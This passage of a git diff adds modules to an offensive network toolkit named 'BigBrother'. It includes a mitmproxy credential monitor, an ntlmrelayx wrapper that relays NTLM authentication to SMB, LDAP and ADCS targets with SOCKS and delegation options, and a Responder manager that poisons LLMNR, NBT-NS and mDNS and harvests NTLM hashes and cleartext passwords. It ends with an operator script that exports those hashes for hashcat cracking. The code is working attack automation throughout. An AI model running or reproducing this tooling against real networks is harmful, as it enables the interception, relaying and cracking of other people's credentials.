+ # ------------------------------------------------------------------
+
+ def _monitor_output(self) -> None:
+ """Monitor mitmproxy stderr for credential and token events."""
+ if not self._proc:
+ return
+
+ try:
+ for line in iter(self._proc.stderr.readline, b""):
+ if not self._running:
+ break
+ decoded = line.decode("utf-8", errors="replace").strip()
+ if not decoded:
+ continue
+
+ # Look for credential extraction events from addons
+ if "[credential]" in decoded.lower():
+ self._handle_credential_output(decoded)
+ elif "[cloud_token]" in decoded.lower():
+ self._handle_token_output(decoded)
+
+ if self._proc.poll() is not None:
+ break
+ except Exception:
+ pass
+
+ def _handle_credential_output(self, line: str) -> None:
+ """Parse credential event from addon output."""
+ self.bus.emit(
+ "CREDENTIAL_FOUND",
+ {
+ "source_module": self.name,
+ "target_service": "mitmproxy",
+ "credential_type": "cleartext",
+ "credential_value": line,
+ },
+ source_module=self.name,
+ )
+
+ def _handle_token_output(self, line: str) -> None:
+ """Parse cloud token event from addon output."""
+ self.bus.emit(
+ "CLOUD_TOKEN_FOUND",
+ {
+ "source_module": self.name,
+ "target_service": "mitmproxy",
+ "token_data": line,
+ },
+ source_module=self.name,
+ )
diff --git a/modules/active/ntlm_relay.py b/modules/active/ntlm_relay.py
new file mode 100644
index 0000000..765fc81
--- /dev/null
+++ b/modules/active/ntlm_relay.py
@@ -0,0 +1,376 @@
+#!/usr/bin/env python3
+"""NTLM Relay module — ntlmrelayx subprocess wrapper.
+
+Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
+to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
+and ADCS endpoints. Coordinates with ResponderManager to exclude relay
+targets from Responder's SMB authentication.
+
+Resources: ~40MB RAM, ~5% CPU
+"""
+
+import logging
+import os
+import re
+import subprocess
+import threading
+import time
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.ntlm_relay")
+
+# Supported relay protocols
+RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
+
+
+class NTLMRelay(BaseModule):
+ """ntlmrelayx subprocess manager.
+
+ Relays captured NTLM authentication to target services. Works
+ in coordination with ResponderManager — targets being relayed
+ should be excluded from Responder's SMB server to avoid consuming
+ the authentication attempt locally.
+
+ Dependencies:
+ - Impacket installed (/opt/tools/impacket or pip install impacket)
+ - responder_mgr (optional, for coordination)
+
+ Configuration:
+ ntlmrelayx_binary: Path to ntlmrelayx.py
+ targets: List of relay target URLs (e.g., smb://10.0.0.0)
+ protocols: Set of relay protocols to use
+ adcs_template: ADCS certificate template for ESC attacks
+ """
+
+ name = "ntlm_relay"
+ module_type = "active"
+ priority = 150
+ requires_root = True
+
+ OUTPUT_POLL_INTERVAL = 5
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._proc: Optional[subprocess.Popen] = None
+ self._output_thread: Optional[threading.Thread] = None
+ self._ntlmrelayx_binary = config.get(
+ "ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
+ )
+ self._iface = config.get("interface", "eth0")
+ self._targets: list = []
+ self._protocols: set = set()
+ self._adcs_template: Optional[str] = None
+ self._relay_active = False
+ self._successful_relays: list = []
+ self._relays_lock = threading.Lock()
+ self._responder_mgr = None
+ self._target_file = os.path.join(
+ os.path.expanduser("~"), ".bigbrother", "relay_targets.txt"
+ )
+ self._loot_dir = os.path.join(
+ os.path.expanduser("~"), ".bigbrother", "ntlmrelay_loot"
+ )
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ # Optional responder_mgr for coordination
+ self._responder_mgr = self.config.get("responder_mgr")
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
+ os.makedirs(self._loot_dir, exist_ok=True)
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("NTLMRelay module started (ready for relay commands)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ if self._relay_active:
+ self.stop_relay()
+
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("NTLMRelay module stopped")
+
+ def status(self) -> dict:
+ proc_alive = self._proc is not None and self._proc.poll() is None
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "relay_active": self._relay_active and proc_alive,
+ "relay_pid": self._proc.pid if proc_alive else None,
+ "targets": self._targets,
+ "protocols": list(self._protocols),
+ "adcs_template": self._adcs_template,
+ "successful_relays": len(self._successful_relays),
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "ntlmrelayx_binary" in config:
+ self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
+ if "adcs_template" in config:
+ self._adcs_template = config["adcs_template"]
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def start_relay(self, targets: list, protocols: set = None) -> bool:
+ """Start ntlmrelayx with specified targets and protocols.
+
+ Args:
+ targets: List of relay target URLs.
+ Format: "protocol://ip" (e.g., "smb://10.0.0.0")
+ Or plain IPs for default SMB relay.
+ protocols: Set of protocols to relay to. If None, inferred from targets.
+
+ Returns:
+ True if ntlmrelayx was started.
+ """
+ if not self._running:
+ logger.error("NTLMRelay not started")
+ return False
+
+ if self._relay_active and self._proc and self._proc.poll() is None:
+ logger.warning("ntlmrelayx already running")
+ return True
+
+ self._targets = list(targets)
+ self._protocols = protocols or self._infer_protocols(targets)
+
+ # Write target file
+ self._write_target_file()
+
+ # Coordinate with Responder — exclude relay target IPs from SMB auth
+ self._update_responder_exclusions()
+
+ # Build command
+ cmd = self._build_command()
+
+ try:
+ self._proc = subprocess.Popen(
+ cmd,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ cwd=self._loot_dir,
+ )
+ time.sleep(2)
+ if self._proc.poll() is not None:
+ stderr = self._proc.stderr.read().decode(errors="replace")
+ logger.error("ntlmrelayx failed to start: %s", stderr)
+ return False
+
+ self._relay_active = True
+
+ # Start output monitoring
+ self._output_thread = threading.Thread(
+ target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor"
+ )
+ self._output_thread.start()
+
+ logger.info(
+ "ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
+ self._proc.pid, len(self._targets), self._protocols,
+ )
+ return True
+
+ except FileNotFoundError:
+ logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
+ return False
+ except Exception:
+ logger.exception("Failed to start ntlmrelayx")
+ return False
+
+ def stop_relay(self) -> bool:
+ """Stop ntlmrelayx.
+
+ Returns:
+ True if relay was stopped.
+ """
+ if self._proc and self._proc.poll() is None:
+ try:
+ self._proc.terminate()
+ self._proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ self._proc.kill()
+ try:
+ self._proc.wait(timeout=2)
+ except Exception:
+ pass
+ except Exception:
+ logger.exception("Failed to stop ntlmrelayx")
+ return False
+ finally:
+ self._proc = None
+
+ self._relay_active = False
+ logger.info("ntlmrelayx stopped")
+ return True
+
+ def add_target(self, target: str) -> bool:
+ """Add a relay target while ntlmrelayx is running.
+
+ Args:
+ target: Target URL (e.g., "smb://10.0.0.0").
+
+ Returns:
+ True if target was added (requires restart to take effect).
+ """
+ if target not in self._targets:
+ self._targets.append(target)
+ self._write_target_file()
+ self._update_responder_exclusions()
+ logger.info("Added relay target: %s (restart relay to apply)", target)
+ return True
+ return False
+
+ # ------------------------------------------------------------------
+ # Internal helpers
+ # ------------------------------------------------------------------
+
+ def _build_command(self) -> list:
+ """Build the ntlmrelayx command line."""
+ cmd = [
+ "python3", self._ntlmrelayx_binary,
+ "-tf", self._target_file,
+ "-of", os.path.join(self._loot_dir, "hashes"),
+ "-smb2support",
+ ]
+
+ # ADCS relay
+ if self._adcs_template and "adcs" in self._protocols:
+ cmd.extend(["--adcs", "--template", self._adcs_template])
+
+ # LDAP relay options
+ if "ldap" in self._protocols or "ldaps" in self._protocols:
+ cmd.append("--delegate-access")
+
+ # SOCKS proxy for interactive sessions
+ cmd.append("-socks")
+
+ return cmd
+
+ def _write_target_file(self) -> None:
+ """Write relay targets to file for ntlmrelayx -tf."""
+ try:
+ with open(self._target_file, "w") as f:
+ for target in self._targets:
+ f.write(f"{target}\n")
+ except Exception:
+ logger.exception("Failed to write target file")
+
+ def _infer_protocols(self, targets: list) -> set:
+ """Infer relay protocols from target URLs."""
+ protocols = set()
+ for target in targets:
+ if "://" in target:
+ proto = target.split("://")[0].lower()
+ if proto in RELAY_PROTOCOLS:
+ protocols.add(proto)
+ else:
+ protocols.add("smb") # Default to SMB
+ return protocols or {"smb"}
+
+ def _update_responder_exclusions(self) -> None:
+ """Update ResponderManager with IPs to exclude from SMB auth."""
+ if not self._responder_mgr:
+ return
+
+ # Extract IPs from target URLs
+ ips = set()
+ for target in self._targets:
+ if "://" in target:
+ ip_part = target.split("://")[1].split(":")[0].split("/")[0]
+ else:
+ ip_part = target.split(":")[0].split("/")[0]
+ ips.add(ip_part)
+
+ try:
+ self._responder_mgr.set_relay_targets(ips)
+ logger.info("Updated Responder relay exclusions: %s", ips)
+ except Exception:
+ logger.exception("Failed to update Responder exclusions")
+
+ # ------------------------------------------------------------------
+ # Output monitoring
+ # ------------------------------------------------------------------
+
+ def _monitor_output(self) -> None:
+ """Monitor ntlmrelayx output for successful relays and loot."""
+ if not self._proc:
+ return
+
+ try:
+ for line in iter(self._proc.stdout.readline, b""):
+ if not self._running:
+ break
+ decoded = line.decode("utf-8", errors="replace").strip()
+ if not decoded:
+ continue
+
+ self._parse_relay_output(decoded)
+
+ if self._proc.poll() is not None:
+ break
+ except Exception:
+ pass
+
+ def _parse_relay_output(self, line: str) -> None:
+ """Parse ntlmrelayx output for successful relay events."""
+ # Successful SMB relay
+ if "authenticated successfully" in line.lower():
+ relay_info = {
+ "timestamp": time.time(),
+ "type": "auth_success",
+ "detail": line,
+ }
+ with self._relays_lock:
+ self._successful_relays.append(relay_info)
+ self.bus.emit(
+ "CREDENTIAL_FOUND",
+ {
+ "source_module": self.name,
+ "target_service": "ntlm_relay",
+ "credential_type": "relay_success",
+ "credential_value": line,
+ },
+ source_module=self.name,
+ )
+ logger.info("Successful NTLM relay: %s", line)
+
+ # Secretsdump from relay
+ elif "dumping" in line.lower() and "sam" in line.lower():
+ logger.info("ntlmrelayx SAM dump: %s", line)
+
+ # ADCS certificate obtained
+ elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
+ self.bus.emit(
+ "CREDENTIAL_FOUND",
+ {
+ "source_module": self.name,
+ "target_service": "adcs_relay",
+ "credential_type": "certificate",
+ "credential_value": line,
+ },
+ source_module=self.name,
+ )
+ logger.info("ADCS certificate obtained via relay: %s", line)
+
+ # SOCKS proxy opened
+ elif "socks" in line.lower() and "connection" in line.lower():
+ logger.info("ntlmrelayx SOCKS: %s", line)
diff --git a/modules/active/responder_mgr.py b/modules/active/responder_mgr.py
new file mode 100644
index 0000000..fda63ec
--- /dev/null
+++ b/modules/active/responder_mgr.py
@@ -0,0 +1,431 @@
+#!/usr/bin/env python3
+"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
+
+Manages Responder as a supervised subprocess. Generates Responder.conf
+from a Jinja2 template, monitors log output for captured NTLMv1/v2
+hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
+ntlm_relay to exclude relay targets from Responder's SMB server.
+
+Resources: ~30MB RAM, ~3% CPU
+"""
+
+import glob
+import logging
+import os
+import re
+import subprocess
+import threading
+import time
+from pathlib import Path
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.responder_mgr")
+
+# Regex for Responder hash log filenames
+HASH_FILE_PATTERN = re.compile(
+ r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
+)
+
+# Regex for parsing NTLMv2 hash lines
+NTLMV2_REGEX = re.compile(
+ r"^(?P\S+?)::(?P\S+?):(?P[0-9a-fA-F]+):"
+ r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)$"
+)
+
+NTLMV1_REGEX = re.compile(
+ r"^(?P\S+?)::(?P\S+?):(?P[0-9a-fA-F]+):"
+ r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)$"
+)
+
+
+class ResponderManager(BaseModule):
+ """Responder subprocess manager with hash capture monitoring.
+
+ Dependencies:
+ - Responder installed at /opt/tools/Responder
+
+ Configuration:
+ responder_path: Path to Responder directory
+ interface: Network interface
+ protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
+ relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
+ """
+
+ name = "responder_mgr"
+ module_type = "active"
+ priority = 150
+ requires_root = True
+
+ HASH_POLL_INTERVAL = 10 # seconds
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._proc: Optional[subprocess.Popen] = None
+ self._hash_thread: Optional[threading.Thread] = None
+ self._responder_path = config.get("responder_path", "/opt/tools/Responder")
+ self._iface = config.get("interface", "eth0")
+ self._log_dir = os.path.join(self._responder_path, "logs")
+ self._captured_hashes: list = []
+ self._hashes_lock = threading.Lock()
+ self._seen_hashes: set = set() # Dedup set
+ self._relay_targets: set = set() # IPs excluded from SMB for relay
+ self._protocols = {
+ "LLMNR": True,
+ "NBT-NS": True,
+ "mDNS": True,
+ "HTTP": True,
+ "SMB": True,
+ "WPAD": True,
+ "FTP": False,
+ "POP": False,
+ "IMAP": False,
+ "SMTP": False,
+ "LDAP": False,
+ }
+ self._template_dir = config.get(
+ "template_dir",
+ os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
+ )
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ if not os.path.isdir(self._responder_path):
+ logger.error("Responder not found at %s", self._responder_path)
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("ResponderManager started (ready to launch Responder)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ self.stop_responder()
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("ResponderManager stopped")
+
+ def status(self) -> dict:
+ proc_alive = self._proc is not None and self._proc.poll() is None
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "responder_running": proc_alive,
+ "responder_pid": self._proc.pid if proc_alive else None,
+ "captured_hash_count": len(self._captured_hashes),
+ "interface": self._iface,
+ "relay_targets": list(self._relay_targets),
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "interface" in config:
+ self._iface = config["interface"]
+ if "relay_targets" in config:
+ self._relay_targets = set(config["relay_targets"])
+ if "protocols" in config:
+ self._protocols.update(config["protocols"])
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def start_responder(self, protocols: dict = None) -> bool:
+ """Start Responder with configured protocols.
+
+ Args:
+ protocols: Optional dict overriding default protocol toggles.
+
+ Returns:
+ True if Responder was started.
+ """
+ if not self._running:
+ logger.error("ResponderManager not started")
+ return False
+
+ if self._proc and self._proc.poll() is None:
+ logger.warning("Responder already running (pid=%d)", self._proc.pid)
+ return True
+
+ if protocols:
+ self._protocols.update(protocols)
+
+ # Generate Responder.conf from template
+ self._write_responder_conf()
+
+ # Build command
+ responder_py = os.path.join(self._responder_path, "Responder.py")
+ if not os.path.isfile(responder_py):
+ logger.error("Responder.py not found at %s", responder_py)
+ return False
+
+ cmd = ["python3", responder_py, "-I", self._iface, "-v"]
+
+ # Add protocol flags based on what we want DISABLED
+ if not self._protocols.get("WPAD"):
+ cmd.append("-w") # -w disables WPAD in newer Responder versions
+ # Responder's flags are for disabling features, not enabling them
+ # The .conf file controls which services are On/Off
+
+ try:
+ self._proc = subprocess.Popen(
+ cmd,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ cwd=self._responder_path,
+ )
+ time.sleep(2)
+ if self._proc.poll() is not None:
+ stderr = self._proc.stderr.read().decode(errors="replace")
+ logger.error("Responder failed to start: %s", stderr)
+ return False
+
+ # Start hash file monitoring thread
+ self._hash_thread = threading.Thread(
+ target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes"
+ )
+ self._hash_thread.start()
+
+ logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
+ return True
+
+ except Exception:
+ logger.exception("Failed to start Responder")
+ return False
+
+ def stop_responder(self) -> bool:
+ """Stop the Responder subprocess.
+
+ Returns:
+ True if Responder was stopped.
+ """
+ if self._proc and self._proc.poll() is None:
+ try:
+ self._proc.terminate()
+ self._proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ self._proc.kill()
+ try:
+ self._proc.wait(timeout=2)
+ except Exception:
+ pass
+ except Exception:
+ logger.exception("Failed to stop Responder")
+ return False
+ finally:
+ self._proc = None
+
+ logger.info("Responder stopped")
+ return True
+
+ def get_captured_hashes(self) -> list:
+ """Return all captured hashes.
+
+ Returns:
+ List of dicts with hash details.
+ """
+ with self._hashes_lock:
+ return list(self._captured_hashes)
+
+ def set_relay_targets(self, targets: set) -> None:
+ """Set IPs that should be excluded from Responder's SMB server.
+
+ When coordinating with ntlm_relay, Responder should not respond
+ to targets that ntlmrelayx is relaying from.
+
+ Args:
+ targets: Set of IP addresses to exclude.
+ """
+ self._relay_targets = set(targets)
+ # Regenerate config and restart if running
+ if self._proc and self._proc.poll() is None:
+ self._write_responder_conf()
+ logger.info("Updated relay exclusion targets: %s", targets)
+
+ # ------------------------------------------------------------------
+ # Responder.conf generation
+ # ------------------------------------------------------------------
+
+ def _write_responder_conf(self) -> None:
+ """Generate Responder.conf from template or defaults."""
+ conf_path = os.path.join(self._responder_path, "Responder.conf")
+
+ # Try Jinja2 template first
+ template_path = os.path.join(self._template_dir, "Responder.conf.j2")
+ if os.path.isfile(template_path):
+ try:
+ from jinja2 import Template
+ with open(template_path, "r") as f:
+ tmpl = Template(f.read())
+ rendered = tmpl.render(
+ protocols=self._protocols,
+ relay_targets=self._relay_targets,
+ interface=self._iface,
+ )
+ with open(conf_path, "w") as f:
+ f.write(rendered)
+ return
+ except ImportError:
+ logger.warning("Jinja2 not available — using inline config")
+ except Exception:
+ logger.exception("Failed to render Responder.conf template")
+
+ # Fallback: write config directly
+ smb_on = "On" if self._protocols.get("SMB") else "Off"
+ http_on = "On" if self._protocols.get("HTTP") else "Off"
+
+ conf = (
+ "[Responder Core]\n\n"
+ "; Servers to start\n"
+ f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
+ f"SMB = {smb_on}\n"
+ f"RDP = Off\n"
+ f"Kerberos = Off\n"
+ f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
+ f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
+ f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
+ f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
+ f"HTTP = {http_on}\n"
+ f"HTTPS = {http_on}\n"
+ f"DNS = Off\n"
+ f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
+ f"DCERPC = Off\n"
+ f"WinRM = Off\n"
+ f"SNMP = Off\n"
+ f"MQTT = Off\n"
+ "\n"
+ "; Custom challenge\n"
+ "Challenge = Random\n"
+ "\n"
+ "; Set to On for downgrading to NTLMv1\n"
+ "DontRespondToNames =\n"
+ "\n"
+ )
+
+ with open(conf_path, "w") as f:
+ f.write(conf)
+
+ # ------------------------------------------------------------------
+ # Hash capture monitoring
+ # ------------------------------------------------------------------
+
+ def _hash_monitor_loop(self) -> None:
+ """Monitor Responder log directory for new hash files."""
+ while self._running and self._proc and self._proc.poll() is None:
+ time.sleep(self.HASH_POLL_INTERVAL)
+ try:
+ self._scan_hash_files()
+ self._scan_session_log()
+ except Exception:
+ logger.exception("Hash monitor error")
+
+ def _scan_hash_files(self) -> None:
+ """Scan Responder logs/ for NTLMv1/v2 hash files."""
+ if not os.path.isdir(self._log_dir):
+ return
+
+ for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
+ try:
+ with open(filepath, "r") as f:
+ for line in f:
+ line = line.strip()
+ if not line or line in self._seen_hashes:
+ continue
+ self._seen_hashes.add(line)
+ self._process_hash_line(line, filepath)
+ except Exception:
+ pass
+
+ def _scan_session_log(self) -> None:
+ """Scan Responder-Session.log for cleartext credentials."""
+ session_log = os.path.join(self._log_dir, "Responder-Session.log")
+ if not os.path.isfile(session_log):
+ return
+
+ try:
+ with open(session_log, "r") as f:
+ for line in f:
+ line = line.strip()
+ if not line or line in self._seen_hashes:
+ continue
+ # Look for cleartext credential lines
+ if "Cleartext" in line or "Password" in line:
+ self._seen_hashes.add(line)
+ self._process_cleartext_line(line)
+ except Exception:
+ pass
+
+ def _process_hash_line(self, line: str, source_file: str) -> None:
+ """Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
+ # Determine hash type from filename
+ hash_type = "ntlmv2"
+ hashcat_mode = 5600
+ if "NTLMv1" in source_file:
+ hash_type = "ntlmv1"
+ hashcat_mode = 5500
+
+ # Parse username and domain
+ match = NTLMV2_REGEX.match(line)
+ if not match:
+ match = NTLMV1_REGEX.match(line)
+ if match:
+ username = match.group("username")
+ domain = match.group("domain")
+ else:
+ username = line.split("::")[0] if "::" in line else "unknown"
+ domain = ""
+
+ hash_entry = {
+ "timestamp": time.time(),
+ "username": username,
+ "domain": domain,
+ "hash_type": hash_type,
+ "hashcat_mode": hashcat_mode,
+ "hash_value": line,
+ "source_file": source_file,
+ }
+
+ with self._hashes_lock:
+ self._captured_hashes.append(hash_entry)
+
+ self.bus.emit(
+ "CREDENTIAL_FOUND",
+ {
+ "source_module": self.name,
+ "source_ip": "",
+ "target_service": "responder",
+ "username": username,
+ "domain": domain,
+ "credential_type": hash_type,
+ "credential_value": line,
+ "hashcat_mode": hashcat_mode,
+ },
+ source_module=self.name,
+ )
+ logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
+
+ def _process_cleartext_line(self, line: str) -> None:
+ """Process a cleartext credential line from Responder session log."""
+ self.bus.emit(
+ "CREDENTIAL_FOUND",
+ {
+ "source_module": self.name,
+ "target_service": "responder_cleartext",
+ "credential_type": "cleartext",
+ "credential_value": line,
+ },
+ source_module=self.name,
+ )
diff --git a/scripts/operator/.gitkeep b/scripts/operator/.gitkeep
deleted file mode 100644
index e69de29..0000000
diff --git a/scripts/operator/crack_hashes.sh b/scripts/operator/crack_hashes.sh
new file mode 100755
index 0000000..c27e981
--- /dev/null
+++ b/scripts/operator/crack_hashes.sh
@@ -0,0 +1,248 @@
+#!/usr/bin/env bash
+# BigBrother Operator Script — Export and Crack Captured Hashes
+#
+# Exports credentials from BigBrother's credential database and Responder
+# logs into hashcat-ready format. Optionally runs hashcat with common
+# wordlists and rule sets.
+#
+# Usage: ./crack_hashes.sh [--crack] [--wordlist ]
+#
+# Examples:
+# ./crack_hashes.sh ./bb-pull-20240115 # Export only
+# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
+# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
+#
+# Requires: sqlite3, hashcat (optional)
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+CYAN='\033[0;36m'
+NC='\033[0m'
+
+# ---------------------------------------------------------------------------
+# Arguments
+# ---------------------------------------------------------------------------
+
+DATA_DIR="${1:-}"
+DO_CRACK=false
+WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
+RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
+
+shift || true
+while [[ $# -gt 0 ]]; do
+ case "$1" in
+ --crack) DO_CRACK=true ;;
+ --wordlist) WORDLIST="$2"; shift ;;
+ --rules) RULES_FILE="$2"; shift ;;
+ *) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
+ esac
+ shift
+done
+
+if [[ -z "$DATA_DIR" ]]; then
+ echo -e "${RED}Usage: $0 [--crack] [--wordlist ]${NC}"
+ echo ""
+ echo "Options:"
+ echo " --crack Run hashcat after export"
+ echo " --wordlist Wordlist for cracking (default: rockyou.txt)"
+ echo " --rules Hashcat rules file (default: best64.rule)"
+ echo ""
+ echo "Environment:"
+ echo " HASHCAT_WORDLIST Default wordlist path"
+ echo " HASHCAT_RULES Default rules file path"
+ exit 1
+fi
+
+OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
+mkdir -p "$OUTPUT_DIR"
+
+echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
+echo -e " Data dir: ${DATA_DIR}"
+echo -e " Output: ${OUTPUT_DIR}"
+echo ""
+
+# ---------------------------------------------------------------------------
+# Export from credential database
+# ---------------------------------------------------------------------------
+
+CRED_DB="$DATA_DIR/databases/credentials.db"
+TOTAL_HASHES=0
+
+if [[ -f "$CRED_DB" ]]; then
+ echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
+
+ # NTLMv2 hashes (hashcat mode 5600)
+ sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
+ > "$OUTPUT_DIR/ntlmv2_5600.txt" || true
+ count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
+ TOTAL_HASHES=$((TOTAL_HASHES + count))
+ echo -e " NTLMv2 (5600): ${count}"
+
+ # NTLMv1 hashes (hashcat mode 5500)
+ sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
+ > "$OUTPUT_DIR/ntlmv1_5500.txt" || true
+ count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
+ TOTAL_HASHES=$((TOTAL_HASHES + count))
+ echo -e " NTLMv1 (5500): ${count}"
+
+ # Kerberos TGS (hashcat mode 13100)
+ sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
+ > "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
+ count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
+ TOTAL_HASHES=$((TOTAL_HASHES + count))
+ echo -e " Kerberos TGS (13100): ${count}"
+
+ # Kerberos AS-REP (hashcat mode 18200)
+ sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
+ > "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
+ count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
+ TOTAL_HASHES=$((TOTAL_HASHES + count))
+ echo -e " Kerberos AS-REP (18200): ${count}"
+
+ # Cleartext credentials (no cracking needed)
+ sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
+ > "$OUTPUT_DIR/cleartext.txt" || true
+ count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
+ echo -e " ${GREEN}Cleartext: ${count}${NC}"
+
+ echo ""
+else
+ echo -e "${YELLOW}[*] No credential database found${NC}"
+fi
+
+# ---------------------------------------------------------------------------
+# Export from Responder logs
+# ---------------------------------------------------------------------------
+
+RESPONDER_DIR="$DATA_DIR/responder"
+if [[ -d "$RESPONDER_DIR" ]]; then
+ echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
+
+ # Collect NTLMv2 hashes from Responder log files
+ for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
+ [[ -f "$hashfile" ]] || continue
+ cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
+ done
+
+ for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
+ [[ -f "$hashfile" ]] || continue
+ cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
+ done
+
+ # Deduplicate
+ for f in "$OUTPUT_DIR"/*.txt; do
+ [[ -f "$f" ]] || continue
+ sort -u "$f" -o "$f"
+ done
+
+ count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
+ echo -e " NTLMv2 total (deduped): ${count}"
+ count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
+ echo -e " NTLMv1 total (deduped): ${count}"
+ echo ""
+fi
+
+# Remove empty files
+find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
+
+# ---------------------------------------------------------------------------
+# Summary of unique users
+# ---------------------------------------------------------------------------
+
+echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
+for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
+ [[ -f "$hashfile" ]] || continue
+ mode=$(basename "$hashfile" | grep -o '[0-9]*')
+ echo -e " ${CYAN}Mode $mode:${NC}"
+ cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
+ total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
+ if [[ $total -gt 20 ]]; then
+ echo -e " ... ($total total)"
+ fi
+done
+echo ""
+
+# ---------------------------------------------------------------------------
+# Crack with hashcat (optional)
+# ---------------------------------------------------------------------------
+
